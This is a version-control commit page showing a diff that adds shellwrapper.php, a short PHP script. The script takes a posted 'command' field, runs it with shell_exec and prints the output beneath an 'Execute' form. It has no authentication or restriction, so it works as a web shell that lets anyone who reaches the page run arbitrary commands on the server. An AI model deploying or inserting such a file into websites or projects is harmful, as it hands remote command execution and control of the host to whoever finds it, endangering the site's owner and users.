summaryrefslogtreecommitdiffstats
path: root/shellwrapper.php
diff options
context:
space:
mode:
Diffstat (limited to 'shellwrapper.php')
-rw-r--r--shellwrapper.php20
1 files changed, 20 insertions, 0 deletions
diff --git a/shellwrapper.php b/shellwrapper.php
new file mode 100644
index 0000000..cf14c20
--- /dev/null
+++ b/shellwrapper.php
@@ -0,0 +1,20 @@
+<?php
+
+if (!empty($_POST)) {
+ $command = htmlspecialchars($_POST['command']);
+ $output = shell_exec($command);
+ echo "<pre>$output</pre>";
+}
+
+?>
+
+<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
+ <div style="display: inline;">
+ <p>enter your command below</p>
+ <label for="command">$:</label>
+ <input type="text" id="command" name="command" /> <!-- name attr is needed otherwise $_POST would be empty -->
+ </div>
+ <div style="display: inline;">
+ <input type="submit" value="Execute" />
+ </div>
+</form>